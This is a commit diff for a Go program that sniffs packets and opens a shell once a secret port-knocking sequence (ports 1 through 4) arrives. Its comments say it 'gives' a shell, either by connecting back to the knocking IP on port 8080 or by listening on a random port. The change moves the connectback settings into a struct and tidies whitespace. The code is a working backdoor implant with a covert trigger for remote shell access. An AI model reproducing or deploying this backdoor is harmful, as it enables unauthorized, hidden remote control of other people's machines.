final updates + readme cleanup

main.go

@@ -28,18 +28,12 @@ type targetInfo struct {
 	// how far into the sequence we are
 	// when secretCounter == len(secretPorts),
 	// port knocking is complete and shell is given
-	secretCounter int
-	lastPort layers.TCPPort
+	secretCounter   int
+	lastPort        layers.TCPPort
+	connectback     bool
+	connectbackPort string
 }
 
-const (
-	// if true, connect back to knocking
-	// IP on connectbackPort
-	connectback = false
-	// only relevant if connectback is true
-	connectbackPort = "8080"
-)
-
 // create target info struct
 func sInit(os string) *targetInfo {
 	tInfo := targetInfo{}
@@ -52,6 +46,12 @@ func sInit(os string) *targetInfo {
 	tInfo.secretPorts = []int{1, 2, 3, 4}
 	tInfo.secretCounter = 0
 
+	// if true, connect back to knocking
+	// IP on connectbackPort
+	tInfo.connectback = false
+	// only relevant if connectback is true
+	tInfo.connectbackPort = "8080"
+
 	return &tInfo
 }
 
@@ -71,8 +71,8 @@ func main() {
 }
 
 func vishnu(ip string, tInfo *targetInfo) {
-	if connectback || tInfo.os == "windows" {
-		spec.ConnectBack(ip, connectbackPort)
+	if tInfo.connectback || tInfo.os == "windows" {
+		spec.ConnectBack(ip, tInfo.connectbackPort)
 	} else {
 		randomPort := rand.Intn(65535-100) + 100
 		// println("The doors are open on port ", strconv.Itoa(randomPort))
@@ -110,8 +110,8 @@ func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) {
 			// fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
 			// Check dst port for secret port
 			tInfo.lastPort = tcp.DstPort
-			
-			if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) { 
+
+			if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) {
 				tInfo.secretCounter++
 				tInfo.lastPort = tcp.DstPort
 			} else if tInfo.secretCounter != 0 && tInfo.lastPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter-1]) { // fixed TCP 2x duplication issue
@@ -129,7 +129,7 @@ func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) {
 		ip, err := grabRemoteIP(packet)
 		// TODO maybe just listen if connectback is
 		// on and we can't get the remote IP
-		if connectback && err != nil {
+		if tInfo.connectback && err != nil {
 			return
 		}